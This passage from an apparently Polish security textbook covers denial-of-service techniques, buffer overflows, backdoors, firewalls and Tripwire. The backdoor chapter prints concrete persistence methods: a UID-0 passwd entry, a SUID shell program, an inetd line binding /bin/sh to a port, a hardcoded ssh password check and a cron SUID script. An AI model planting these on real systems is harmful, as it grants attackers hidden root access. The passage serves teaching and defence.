świadczonych przez serwer usług. Stosowane przeciwko słabszym systemom, mogą
skutecznie zablokować łącza i zapełnić wolne miejsce na dysku twardym, co jest
równoczesne z unieruchomieniem serwera.
22
CERT Advisory CA-97.28, IP Denial-of-Service Attacks, 1997
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 71
Ataki na systemy komputerowe
Jedną z metod obrony jest filtrowanie poczty elektronicznej. Określając zasady, na
których jedne wiadomości są pozostawiane w naszej skrzynce odbiorczej, inne zaś
kasowane lub przenoszone do innych folderów, mamy pewną kontrolę nad
przychodzącą pocztą. Inną metodą, gdy jesteśmy nagminnie nękani, jest kontakt
z administratorem serwera, z którego korzysta nadawca. W większości przypadków
takie działanie odnosi skutek. Możliwe jest też zablokowanie napływu poczty spod
danego adresu już na poziomie routera.
Bardziej samodzielni użytkownicy kierują się zasadą  oko za oko i za każdy
nadesłany list wysyłają nadawcy 10 podobnych. Sytuacja jest dosyć
kontrowersyjna, ponieważ nadawca może korzystać z programów umożliwiających
wysyłanie anonimowych wiadomości lub korzysta z cudzych kont. Możemy się
więc spotkać z tym, że to my zasypiemy niewinną osobę stosem śmieci i to my
dostaniemy upomnienie od administratora lub w ogóle stracimy konto. Sytuacja
taka oczywiście może nie mieć miejsca, jeśli zabezpieczymy się tak, jak nasz
napastnik. W każdym razie takie zachowanie z naszej strony jest nieetyczne
i niepotrzebnie zwiększa ruch w sieci.
Email spamming
Jest to odmiana Email bombing u ponieważ dotyczy większej ilości użytkowników,
a polega na wysyłaniu wiadomości do wszystkich użytkowników danego serwera.
Jest to metoda stosowana najczęściej do reklam, rzadziej do wyrządzania
jakichkolwiek szkód.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 72
Ataki na systemy komputerowe
Listy dyskusyjne
Ostatnio modna jest inna, bardziej subtelna forma zapełniania konta pocztowego.
Napastnik podszywając się pod innego użytkownika, zapisuje go na wiele list
dyskusyjnych jednocześnie. Lista dyskusyjna działa w ten sposób, że jej członkowie
piszą na jeden wspólny adres, a kopie tych wiadomości rozsyłane są do wszystkich.
Rezultaty takiego działania mogą być katastrofalne. Zakładając, że ofiara została
zapisana na 200 list dyskusyjnych, z których każda ma po 50 członków
wysyłających średnio 2 listy dziennie, to okaże się, że na naszym koncie każdego
dnia pojawi się około 20000 wiadomości. Jeśli wiadomości te zawierają tylko sam
tekst o średniej wielkości 5KB, to otrzymujemy prawie 80MB wiadomości
dziennie. Niektórzy użytkownicy wysyłają listy w formacie HTML, czyli
o kilkukrotnie większej objętości, a niejednokrotnie nawet pliki binarne! To chyba
pozwala uzmysłowić sobie skalę zagrożenia. Można jeszcze dodać, że część
użytkowników posiada skrypt automatycznie odpowiadający na otrzymaną
wiadomość listem grzecznościowym z podziękowaniami i zapewniający
o otrzymaniu odpowiedzi. Takie zachowanie w tym konkretnym przypadku
doprowadzi do tego, że ofiara będzie dodatkowo dostawać kopie własnych listów.
Napastnik celowo wybiera okres dłuższej nieobecności użytkownika, kiedy to
tysiące wiadomości w sposób niekontrolowany gromadzi się w skrzynce pocztowej.
Zazwyczaj prowadzi to do blokady usług, szczególnie gdy ofiara ma limitowaną
przestrzeń dyskową (ang. quota). Zastosowanie filtrów nie przyniesie rezultatów,
ponieważ wiadomości przychodzą z adresami nadawców. Istnieje oczywiście
możliwość zastosowania zaawansowanych filtrów przeszukujących nagłówki
wiadomości i wyodrębnienie z nich adresów serwerów. Anulowanie subskrypcji
danej listy nie jest proste, zwłaszcza że każda z nich może używać do tego innych
procedur. Znalezienie takich informacji jest bardzo pracochłonne, gdyż
w otrzymywanych wiadomościach zazwyczaj nie ma tych instrukcji i pozostaje
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 73
Ataki na systemy komputerowe
tylko poszukiwanie ich w Internecie. Niektóre listy nie umo liwiają
natychmiastowego usunięcia użytkownika, ponieważ zakładają z góry
kilkumiesięczną subskrypcję. Najprostszym wyjściem z tej sytuacji jest usunięcie
aktualnego konta i zmiana adresu pocztowego.
Finger redirect
Finger jest usługą umożliwiającą uzyskanie informacji o użytkownikach na danym
serwerze. Większość wersji demona fingerd umożliwia przekierowanie do innego
hosta, np.:
$ finger @drugi.pl@pierwszy.pl
W tym przykładzie poprzez serwer  pierwszy.pl sprawdzany jest serwer
 drugi.pl , jednocześnie nie ujawniając prawdziwego adresu hakera, ponieważ jest
on postrzegany jako  pierwszy.pl . Metoda ta może być użyta do ukrycia
tożsamości, ale również jako rodzaj ataku:
$ finger @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ofiara.pl
Poprzez zapętlenie usługi finger na serwerze ofiara.pl następuje zwiększenie ruchu
w sieci, zmniejszenie wolnej pamięci i przestrzeni dyskowej, a wszystko
to spowodowane jest przez uruchamiane podrzędne procesy. Ostatnie wersje
demona fingerd nie posiadają już właściwości umożliwiającej przekierowanie.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 74
Ataki na systemy komputerowe
ICMP redirect
Przekierowanie ICMP jest używane przez gateway w celu poinformowania systemu
o unieważnieniu tablicy routingu i zgłoszenia żądania wybrania lepszej trasy.
Aby móc to wykorzystać należy znać istniejące połączenie. Kiedy jest ono już
znalezione można poinformować system o trasie, która zgubiła swoje poł czenie
lub można wysłać fałszywe wiadomości do hosta, jeśli tylko połączenie nie jest
szyfrowane. Błędne informacje, jakie można wysłać do serwera to np.:
DESTINATION UNREACHABLE
TIME TO LIVE EXCEEDED
PARAMETER PROBLEM
PACKET TOO BIG
Efektem takiego działania będzie zresetowanie połączenia.
Broadcast storms
Jest to bardzo popularna metoda, gdzie wszystkie hosty w sieci pełnią rolę
gatewaya. Podstawowa technika polega na wysyłaniu dużej ilości pakietów do
wszystkich hostów w sieci z adresem docelowym, który nie istnieje. Każdy host
będzie próbował wysłać każdy z pakietów, więc pakiety te przez długi czas będą się
ciągle poruszać w sieci. Usługi jakimi można się posłużyć jako narzędzia
w tego rodzaju ataku to np.: ping, finger, sandmail.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 75
Ataki na systemy komputerowe
UDP services loop
Usługi takie jak: echo, time, daytime, chargen łatwo jest zapętlić wykorzystując
pakiety ze sfałszowanymi adresami. Rezultatem będzie zapchanie medium
transmisyjnego do stopnia braku używalności. W poniższym przykładzie
w nagłówku pakietu zawarte są takie oto informacje:
from-IP=192.168.1.2
to-IP=192.168.1.1
Packet type:UDP
from UDP port 7
to UDP port 7
Jeśli pakiet taki zostanie podesłany do maszyny 192.168.1.1 (maszyna ofiary) pętla
na porcie echo zostanie ustanowiona z maszynÄ… 192.168.1.2.
Dobrym rozwiązaniem przeciwdziałającym zapętleniu usług jest stosowanie
emulacji. Dodatkowo należy wyłączyć domyślne usługi w inetd.conf, tak jak
zamiast usługi UDP echo należy stosować TCP echo, gdzie to tylko jest możliwe23.
Anonymous FTP abuse
Anonimowy serwer FTP posiada z reguły katalogi, do których można zapisywać
dane (zazwyczaj jest to katalog /incoming), co można wykorzystać do ataku DOS
zapełniając twardy dysk lub poprzez wysłanie dużej ilości żądań zablokować do
niego dostęp innym użytkownikom.
23
Paul D. Robertson, Introduction to denial of service
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 76
Ataki na systemy komputerowe
Disable accounts
Niektóre systemy blokują konta po pewnej ilości błędnych logowań lub stosują
przerwy pomiędzy próbami. W ten sposób można na jakiś czas zablokować
użytkownikom dostęp do serwera.
Disable services
Większość systemów UNIX wyłącza usługę jeśli zostanie otwartych zbyt duża ilość
sesji w danym przedziale czasu. Najprostszym rozwiÄ…zaniem jest ustawienie
rozsądnej wartości tej liczby.
Buffer Overflow
W pewnych przypadkach technika przepełniania bufora może być ukierunkowana
na blokadę usług, jednakże jej możliwości są większe i stosowane głównie do
przechwytywania uprawnień administratora.
Ataki z wewnÄ…trz systemu
Ataki z wewnątrz typu DOS polegają z reguły na zapełnianiu dysku oraz
powodowaniu błędów w jądrze systemu. Jeśli przestrzeń dyskowa nie jest
limitowana bardzo łatwo jest ją całą zapełnić. W wyniku braku miejsca na dysku
niektóre usługi mogą przestać prawidłowo działać, co niekiedy może doprowadzić
do blokady usług. Stosowanie programów powodujących przepełnianie buforów
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 77
Ataki na systemy komputerowe
powoduje najczęściej sytuacje takie jak kernel panic czy core dumped.
Ataki na sprzętowe elementy sieci
Celem ataku typu DOS nie muszą być tylko serwery. Technika ta ma także
zastosowanie przy atakach na sprzętowe części sieci komputerowych, takich jak
routery. Jest to newralgiczny punkt każdej sieci komputerowej, ponieważ od niego
zależy droga jaką wędrują pakiety, a jego zablokowanie spowoduje pozbawienie
całej sieci dostępu do Internetu.
Podsumowanie
Ataki tego typu należy traktować bardzo poważnie, ponieważ programy do
blokowania usług są ogólnodostępne, a ich użycie niezwykle łatwe.
W przypadku ataków DOS nie ma skutecznej obrony, tak więc najlepszym
sposobem jest dbanie o aktualizację oprogramowania, jak też czytanie materiałów
wydawanych przez organizacje zajmujące się bezpieczeństwem.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 78
Ataki na systemy komputerowe
3.5. Ataki typu Buffer Overflow
Dostęp do konsoli z uprawnieniami roota jest marzeniem każdego hakera.
Można go uzyskać na wiele sposobów od trywialnego użycia hasła, aż po
przepełnienie bufora (ang. buffer overflow). Atak tego typu polega na
wykorzystaniu programów, tzw. exploitów (lub sploitów) do modyfikacji bufora
pamięci. Pamięć przydzielona uruchomionemu programowi ma hierarchię stosu,
który zawiera m.in. parametry funkcji, adres powrotu z funkcji oraz zmienne
lokalne. Każdy z tych parametrów posiada z góry przydzielony rozmiar, tak więc
jeśli w jego miejsce zostanie przekopiowana zmienna zbyt dużo miejsca, to może
się zdarzyć, że nadpisze ona inny parametr. W większości wypadków takie
działanie spowoduje błąd programu, ale można tak zmodyfikować bufor, że adres
powrotny funkcji wskaże na procedurę, która uruchomi np. shella. Aby uzyskać
dostęp z uprawnieniami roota, należy więc przeprowadzić taki atak na program
z atrybutem SUID.
Aby pisać programy modyfikujące bufor należy posiadać dużą wiedzę
o organizacji i zarządzaniu przez system pamięcią oraz o programowaniu
z uwzględnieniem assemblera. Programy tego typu często wykorzystują błędy
w konkretnych wersjach programów, a dodatkowo program SUID wykorzystany
w ataku musi nie sprawdzać maksymalnej długości przekazywanych do niego
parametrów.
Ogólny schemat działania exploita polega na:
modyfikacji zawartości stosu, a dokładniej adresu powrotu funkcji,
umieszczeniu w buforze kodu wykonującego określone rozkazy,
zakończenie programu.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 79
Ataki na systemy komputerowe
Technika ta jest w miarę nowa i dopiero się rozwija, tak więc większe możliwości
pokaże w niedalekiej przyszłości. Obrona przed takimi atakami nie należy do
łatwych, wymaga przekompilowania wielu programów i bibliotek. Należy unikać
w programach takich funkcji jak: fscanf(), getopt(), getpass(), gets(), index(),
realpath(), scanf(), sprintf(), sscanf(), strcat(), strcpy(), streadd(), strecpy(),
strtrns(), vsprintf(). Należy używać programów kontrolujących stos,
a w szczególności adres powrotu funkcji takich jak StackGuard, a także
zminimalizować ilość używanych programów SUID.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 80
Ataki na systemy komputerowe
4. Tylne drzwi
Tylne drzwi (ang. backdoors) służą do uzyskiwania dostępu do systemu
z pominięciem mechanizmów autoryzacji. Aby móc z nich korzystać konieczne jest
jednak ich wcześniejsze zainstalowanie. Zazwyczaj po przełamaniu wszystkich
niezbędnych zabezpieczeń i zdobyciu uprawnień administratora, haker otwiera
sobie furtkę, by w przyszłości móc swobodnie wchodzić do systemu.
Dodatkowy użytkownik
Najprostszą i najbardziej oczywistą metoda instalacji tylniego wejścia jest dodanie
nowego użytkownika z uprawnieniami roota. Możliwe jest też po poznaniu hasła
jakiegoś istniejącego użytkownika, nadanie mu praw roota poprzez ustawienie
wartości UID i GUID na 0 i korzystanie z jego konta. Wstawienie linijki:
adam::0:0:Adam Nowak
pośrodku pliku /etc/passwd w dużych systemach, z dużą ilością użytkowników
może przejść niezauważone, ale w mniejszych administrator zna wszystkich swoich
użytkowników, tak więc furtka taka jest stosunkowo łatwa w wykryciu.
W przypadku gdy używane jest przesłanianie haseł, tzw. shadowing, modyfikuje się
plik /etc/shadow, który posiada trochę inny format.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 81
Ataki na systemy komputerowe
Dodatkowy program SUID
Inna metodą jest ustawienie atrybutu SUID (SuperUser ID) dla pliku, który b dzie
wywoływał shella. Przykładowy kod programu może wyglądać tak24:
#include
void main() {
chat *name[2];
name[0] =  /bin/sh ;
name[1] = NULL;
execve(name[0], name, NULL);
}
Dobry administrator zna wszystkie programy typu SUID i pilnuje, czy ich nie
przybywa, np. poprzez częste wydawanie jednej z komend:
$ find / -user root  perm  -u+s
$ find / -perm 4000
Przykładowe pliki systemowe z atrybutem SUID to:
/usr/bin/suidperl
/usr/bin/sperl5.6.0
/usr/bin/chage
/usr/bin/crontab
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/procmail
/usr/bin/passwd
/usr/bin/kppp
/usr/bin/cdrecord
/usr/bin/lpq-lpd
24
yródło: Andrzej Dudek, Nie tylko wirusy, str. 193
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 82
Ataki na systemy komputerowe
/usr/bin/lpr-lpd
/usr/bin/lprm-lpd
/usr/bin/at
/usr/bin/ssh
/usr/bin/rcp
/usr/bin/rlogin
/usr/bin/rsh
/usr/bin/fdmount
/usr/sbin/traceroute
/usr/sbin/pppd
/bin/su
/bin/mount
/bin/umount
/bin/ping
/sbin/linuxconf
/sbin/dump
/sbin/restore
Dodatkowa usługa
Metoda ta opiera się na znalezieniu usługi na nieużywanym porcie lub jej dopisanie
poprzez modyfikację pliku /etc/services (w tym przykładzie jest to port 37),
# /etc/services:
echo 7/tcp
daytime 13/tcp
netstat 15/tcp
chargen 19/tcp ttytst source
ftp-data 20/tcp
ftp 21/tcp
ssh 22/tcp # SSH Remote Login Protocol
ssh 22/udp # SSH Remote Login Protocol
telnet 23/tcp
smtp 25/tcp mail
time 37/tcp bramka
time 37/udp timserver
whois 43/tcp nicname
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 83
Ataki na systemy komputerowe
domain 53/tcp nameserver # name-domain server
finger 79/tcp
www 80/tcp http # WorldWideWeb HTTP
pop3 110/tcp pop-3 # POP version 3
i w pliku konfiguracyjnym demona inetd dopisaniu definicji tej usługi25:
# /etc/inetd.conf
#
#echo stream tcp nowait root internal
#discard stream tcp nowait root internal
#daytime stream tcp nowait root internal
#chargen stream tcp nowait root internal
#time stream tcp nowait root internal
#
# These are standard services.
ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a
telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd
#
# Pop and imap mail services et al
pop-3 stream tcp nowait root /usr/sbin/tcpd ipop3d
#imap stream tcp nowait root /usr/sbin/tcpd imapd
#
# The Internet UUCP service.
bramka streamtcp nowaitroot /bin/sh
#finger stream tcp nowait root /usr/sbin/tcpd in.fingerd
Program, który będzie obsługiwał tą usługę może być standardowym shellem
lub programem typu SUID. Po modyfikacji plików konfiguracyjnych demona inetd
w celu wprowadzenia zmian należy go przeładować poleceniem:
$ killall -HUP inetd
25
yródło: opracowanie własne
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 84
Ataki na systemy komputerowe
Próba logowania się do tak przygotowanej  furtki wygląda następująco:
$ telnet ofiara.pl 37
Trying 192.168.1.2 ...
Connected to ofiara.pl
Escape charactek is '^]'.
$
Zmiana kodu zródłowego
Podobnie jak to ma miejsce w przypadku koni trojańskich, jedną z metod jest
zmiana kodu zródłowego programu i jego podmiana w systemie. Ponieważ do
większości odmian Unix'a dostępne są kody zródłowe, ewentualna modyfikacja
i ponowna kompilacja nie jest większym problemem. Przykładem może być pakiet
ssh, gdzie wykorzystujÄ…c funkcjÄ™ auth_passwdord i dopisaniu do niej jednej linijki,
mamy dostęp do każdego konta. Funkcja ta zwraca wartość 0 jeśli autoryzacja się
nie powiodła, a inne w przypadku sukcesu. Wstawienie w odpowiednim miejscu
linijki:
if (strcmp(password,"backdoors")== 0) return 1;
powoduje, że podając jako hasło tekst backdoors możemy się logować jako
dowolny użytkownik. Najczęściej chodzi jednak oczywiście o konto roota.
Pewną regułą przy tworzeniu komercyjnych systemów operacyjnych, zwłaszcza na
zamówienie, jest implementacja tylniego wejścia przez samego programistę.
Ma to znaczenie w momencie jakiejś awarii lub gdy np. nierozważny administrator
zapomni swojego hasła. Można przyjąć to za tajemnicę poliszynela, ponieważ
żaden szanujący się informatyk publicznie się nie przyzna, że istnieje łatwy sposób
obejścia zabezpieczeń jego systemu.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 85
Ataki na systemy komputerowe
Cron
Usługa cron pozwala na zaplanowanie cyklicznie się powtarzających zadań. Lista
zadań do wykonania przechowywana jest w tablicy /etc/crontab.
Sam program nie jest jakimś szczególnym zagrożeniem, natomiast może być
stosowany zarówno przez hakerów jak i administratorów. Jedni mogą
o określonych porach otwierać sobie drogę do systemu, drudzy mogą okresowo
sprawdzać poprzez sumy kontrolne, czy nie zaszła ostatnio zmiana
w strategicznych plikach, czy też nie powiększyło się grono programów
z atrybutem SUID. Przykładowy plik tablicy może wyglądać tak:
# /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
# run-parts
01 * * * * root run-parts /etc/cron.hourly
02 4 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly
Format daty i czasu tego pliku opiera się na wartościach pięciu kolumn:
I kolumna  minuty (0-59)
II kolumna  godziny (0-23)
III kolumna  dni miesiÄ…ca (1-31)
II kolumna  miesiÄ…c (1-12)
II kolumna  dni w tygodniu (0-6), przy czym 0 określa niedziele
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 86
Ataki na systemy komputerowe
DopisujÄ…c linijkÄ™:
00 2 6 * * root /etc/cron.perm
gdzie plik cron.perm będzie skryptem nadający atrybut SUID shellowi csh:
# /etc/cron.perm
chmod +s /bin/csh
sleep 30
chmod  s /bin/csh
przez 30 minut od godziny 2.00 do 2.30 rano będziemy mieli uprawnienia roota.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 87
Rodzaje zabezpieczeń
Rozdział IV
1. Firewall
Wraz ze wzrostem liczby użytkowników Internetu rośnie ryzyko utraty
prywatności w lokalnych sieciach komputerowych. Najbardziej skutecznym
sposobem zmniejszenia potencjalnych zagrożeń bezpieczeństwa wynikających
z podłączenia do sieci, jest fizyczne odseparowanie wszystkich komputerów
wspomagających realizację istotnych zadań i przechowujących strategiczne
informacje. W praktyce, oznacza to kompleksowÄ… przebudowÄ™ fizycznej
infrastruktury systemu informatycznego. RozwiÄ…zaniem tego problemu jest
zastosowanie oprogramowania określanego mianem  ściana ognia (ang. firewall),
dedykowanego do ochrony systemu lokalnego przed ingerencją zewnętrzną.
Firewall to zwykle dedykowana maszyna, która sprawdza każdy
przepływający przez nią pakiet i przepuszcza lub blokuje go zgodnie z regułami
ustalonymi przez administratora. Zapory umożliwiają firmom utworzenie
konfiguracji, która jest kompromisem między siecią izolowaną od Internetu i siecią
swobodnie do niego podłączoną. Zapora jest umieszczana między wewnętrzną
siecią firmy i siecią zewnętrzną. Daje ona prosty mechanizm kontroli ilości
i rodzaju ruchu sieciowego między obiema sieciami. Zapora sieciowa używana
wewnątrz firmy może zminimalizować ilość strat, ponieważ napastnik może się
włamać do jednej grupy komputerów, ale nie będzie miał dostępu do pozostałych.
Zapora postawiona między siecią lokalną firmy i Internetem uniemożliwia
użytkownikom, którzy uzyskali dostęp do komputerów poza firmą, przejęcie
kontroli nad komputerami wewnÄ…trz tej firmy, nie dopuszczajÄ…c tym samym do
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 88
Rodzaje zabezpieczeń
zdobycia przez nich punktu zaczepienia po jej wewnętrznej stronie.
Firewalle sÄ… projektowane na dwa sposoby. Pierwszym jest idea  czarnej skrzynki .
Są to firewalle produkowane głównie przez komercyjne firmy. To zwykle
urządzenia, których sposób działania nie jest bliżej znany, posiadają interfejs
użytkownika i inne ułatwienia w ich sterowaniu, jednak nigdy nie możemy być
pewni że nie istnieją w nich jakieś luki i nieudokumentowane obejścia. Drugim
sposobem jest koncepcja  kryształowej skrzynki , gdzie zasady filtrowania
pakietów są ogólno dostępne, ponieważ udostępniany jest kod zródłowy wraz
z kompletną dokumentacją, co pozwala na dokładne sprawdzenie całego kodu
i wprowadzenie ewentualnych poprawek. Ma to ogromne znaczenie w przypadku
systemów, gdzie dostępny jest kod zródłowy całego systemu operacyjnego,
a co za tym idzie możemy dostosować konfigurację firewalla do ewentualnych
niedociągnięć w samym kodzie systemu.
Powszechnie terminem firewall określa się wszystko co filtruje pakiety, czyli
od dedykowanych komputerów do oprogramowania, które spełnia taka rolę.
Firewalle możemy podzielić na trzy kategorie:
aplikacyjne (ang. application gateway)  umożliwiające kontrolowany dostęp
do określonych usług przez odpowiedni demon pośredniczący - proxy server;
pozostały ruch jest zazwyczaj całkowicie blokowany,
połączeniowe (ang. circuit gateway)  zestawiający według określonych
zasad połączenia TCP pomiędzy komputerami z sieci wewnętrznej, a resztą
Internetu, odbywa się to jednak bez kontroli zawartości pakietów (TCP
tuneling),
filtrujÄ…ce (ang. packet filtering gateway)  filtrujÄ…ce pakiety przychodzÄ…ce do
hosta, wychodzÄ…ce z niego oraz te przez niego przechodzÄ…ce.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 89
Rodzaje zabezpieczeń
Firewalle aplikacyjne
W tym przypadku stosowany jest routing w warstwie aplikacji. Używa się bram
(ang. proxy gateways), na których ustawia się oprogramowanie dedykowane dla
poszczególnych aplikacji, który spełnia role pośrednika pomiędzy
oprogramowaniem pracujÄ…cym w sieci chronionej i wymieniajÄ…cym informacje
z oprogramowaniem na zewnątrz. Proxy server analizuje każdą informacje. Jeśli
spełnia ona zdane kryteria i jeśli funkcjonuje aplikacja, dla której informacja jest
przeznaczona przekazuje ja do adresata w sieci chronionej.
Firewall aplikacyjny jako jedyny w całej sieci wewnętrznej posiada adres IP,
który jest dostępny na zewnątrz sieci. Poprzez maskowanie struktury sieci, cała sieć
może być podłączona do Internetu za pomocą jednego adresu IP. Zapewnia to
możliwość dokładnej autoryzacji, dokładny monitoring oraz zależnie od aplikacji
możliwość wszechstronnego analizowania informacji.
Firewall w celu podjęcia decyzji o legalności informacji stosuje kryteria:
wyszukuje fragmenty informacji powszechnie uznanych za niebezpieczne
przez porównywanie ze wzorcem,
stosuje metod heurystyczne dla analizy informacji,
zakłada restrykcje na obszar systemu plikowego, tzn. że oprogramowanie
klient - serwer może działać tylko w określonej przestrzeni systemu
plikowego,
zakłada restrykcje na format przesyłanych danych,
jeśli procedury monitorujące zauważa, że klient lub serwer są otwarte na
atak, ponieważ komunikują się w sposób niebezpieczny to ten sposób
wymiany informacji zostaje zabroniony.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 90
Rodzaje zabezpieczeń
Pomimo swoich niewątpliwych zalet, firewalle posiadają też wady:
niektóre implementacje nie są przezroczyste dla użytkowników, tzn.
wymagajÄ… logowania siÄ™ na serwerze proxy, uruchomienia na nim programu
dla dalszej komunikacji, a czasami instalowania na maszynie klienta
specjalnego oprogramowania do pracy z dana aplikacja,
są drogie i trudne w implementacji z powodu działania w warstwie aplikacji,
sÄ… trudne w konfiguracji,
ogranicza się liczbę usług, które mogą być świadczone w systemie
chronionym,
powoduje spowolnienie przepływu danych, ponieważ każdy pakiet musi
przejść dwa razy przez wszystkie warstwy protokółu,
powoduje spadek wydajności maszyny użytkownika pracującej również jako
gateway,
maszyny musza znać protokół używany w sieci i musza mieć specjalnie
zaimplementowane zabezpieczenia dla wszystkich aplikacji.
FiltujÄ…ce firwalle
Filtrujące firewalle są filtrami bezwzględnymi, działają na poziomie pakietów IP.
Są zaprojektowane do kontroli przepływu bazując na adresie zródłowym,
docelowym, porcie i typie pakietu (zawartych w każdym z pakietów). Ten typ
firewalli jest bezpieczny, ale traci wiele typów zapisu. Może zablokować ludziom
dostęp z sieci prywatnej, ale nie będzie wiadomo, kto dostał się do systemu
publicznego, ani też kto wyszedł z sieci lokalnej do Internetu. W mechanizmie tego
firewalla mamy do czynienia z routingiem ruchu pomiędzy zewnętrzną siecią
a wewnętrzną chronioną. W tym przypadku odbywa się on na poziomie IP
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 91
Rodzaje zabezpieczeń
(sieciowym) poprzez router. Jest to router blokujÄ…cy lub zezwalajÄ…cy na
komunikacje z sieciÄ… chroniona stosujÄ…c filtr (ang. screening rules). Filtr taki
zapisany jest w formie listy kontroli dostępu ACL (ang. Access Control List).
Jest to lista będąca zbiorem zasad i odpowiadających im akcji zapisanych
w określonym porządku mających na celu podj cie decyzji czy dany pakiet jest
dozwolony czy tez nie. Czasami zasady filtrowania powiÄ…zane sÄ… z pozycjami
w tablicy routingu, co pozwala na zastosowanie pewnych zasad dla większej grupy
adresów, a potem zasad bardziej specyficznych w miarę jak router szuka adresów
na poziomie podsieci.
Stosowane konfiguracje architektury firewall
Firewall na routerze - router filtrujÄ…cy - screening router
Oprogramowanie postawione jest na routerze monitorujÄ…cym (ang. screening
router) lub podobnym, którego głównym zadaniem jest ochrona danych
w chronionej sieci. Jest on jedynym fizycznym połączeniem pomiędzy siecią
chroniona a zewnętrzną. Pracuje on w warstwie sieci selekcjonując ruch poprzez
filtrowanie pakietów zależnych od adresu IP oraz adresu MAC nadawcy lub
odbiorcy. Zabezpieczenie to jest przykładem zastosowania mechanizmu packet
filtering. Mechanizm ten nie jest bezpieczny jeśli jest stosowany bez dodatkowych
zabezpieczeń.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 92
Rodzaje zabezpieczeń
Bastion host
To ogólne określenie opisuje węzeł sieci, za pomocą którego komunikuje się ona
ze światem zewnętrznym. Jest on więc szczególnie narażony na ataki z zewnątrz.
Dlatego powinien być to silny punkt sieci szczegółowo monitorowany przez
administratora. Oprogramowanie i konfiguracja komputera - twierdzy jest
specjalnie nastawiona na podniesienie poziomu zabezpieczeń systemowych.
Rozwiązanie stosuje się dla ochrony serwerów sieci prywatnej przed
nieautoryzowanym dostępem.
Dual-Homed Gateway
Firewall pracujÄ…cy na bastion-host z dwoma interfejsami sieciowymi. Jeden z nich
dla sieci chronionej drugi dla zewnętrznej. Ruch na w warstwie sieciowej jest
zablokowany co oznacza, że nie jest możliwe bezpośrednie przesyłanie pakietów
miedzy interfejsami sieciowymi. Jedyny rodzaj przepuszczanego ruchu to
generowany przez wyszczególnione aplikacje w warstwie aplikacji, po
wcześniejszym zalogowaniu się na komputerze pośredniczącym. Struktura sieci
wewnętrznej i jej adresacja jest maskowana przez gateway. Jest to przykład
zastosowania czystego mechanizmu application gateway.
Screened Host Gateway
Konfiguracja ta opiera się na współpracy routera filtrującego pakiety i komputera -
twierdzy. Komputer pracuje w wewnętrznej, chronionej sieci, natomiast router tak
reguluje dostęp z zewnątrz, aby ten komputer był jedynym widzianym i dostępnym
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 93
Rodzaje zabezpieczeń
w sieci prywatnej od strony sieci publicznej. Odbywa się to dzięki filtracji pakietów
docierających do routera. Dla użytkowników zewnętrznych jedynym znanym
adresem IP jest adres komputera - twierdzy dzięki czemu nie ujawniamy struktury
adresacji w sieci wewnętrznej, czyli struktury tej sieci.
Jest to przykład syntezy obu podstawowych mechanizmów zabezpieczenia (packet
filtering, screening - wykonywane przez router i application gateway - którego role
spełnia host gateway).
Screened Subnet
Architektura firewall, w której pomiędzy siecią chronioną a siecią zewnętrzną
znajduje się martwa strefa, gdzie ruch pomiędzy sieciami jest częściowo
blokowany. W skład tej konfiguracji wchodzi Dual-Homed Gateway podłączony
do dwóch routerów, z których jeden łączący go z siecią chroniona, a drugi
z zewnętrzną. Gateway separuje ruch przechodzący przez oba routery filtrujące
pakiety. Na gatewayu możemy umieścić informacje o firmie, pliki, serwery
i urządzenia, które chcemy udostępnić.
Application Level Gateway  Proxy Gateway
Rola gatewaya polega na aplikacyjnym separowaniu sieci. Oprogramowanie proxy
gatewaya odbiera pakiety z zewnÄ…trz i przekazuje do sieci chronionej. Mechanizm
ten jest szczególnie często stosowany dla usług, mogących działać na zasadzie
 store'n'forward . Możemy postawić wiele proxy services na rożnych maszynach
zawierających oprogramowanie dedykowane dla poszczególnych aplikacji.
Mechanizm ten spowalnia komunikacje lecz jest  przezroczysty dla użytkownika
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 94
Rodzaje zabezpieczeń
i nie wymaga logowania się na proxy w odróżnieniu do dual homed gateway26.
Firewall nie spełnia swojego zadania jeśli zostawia otwarte okno dla ataków
przez nieużywane usługi. Należy więc wyłączać niepotrzebne usługi takie jak:
netstat, systat, tftp, bootp oraz finger, gdyż mogą być zródłem potencjalnych
ataków.
26
Aukasz Ziółkowski, Firewall czyli ściana ognia, 1999
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 95
Rodzaje zabezpieczeń
2. Tripwire
Tripwire jest programem badającym integralność w plikach i katalogach na
podstawie zbioru reguł określonych przez administratora. Jego działanie polega na
wyszukiwaniu w nich różnic dzięki generowanym sumom kontrolnym. Każda
zauważona zmiana jest oznaczana i zapisywana, włączając w to pliki nowo
utworzone jak i te skasowane. Dzięki temu możliwe jest wykrycie włamania do
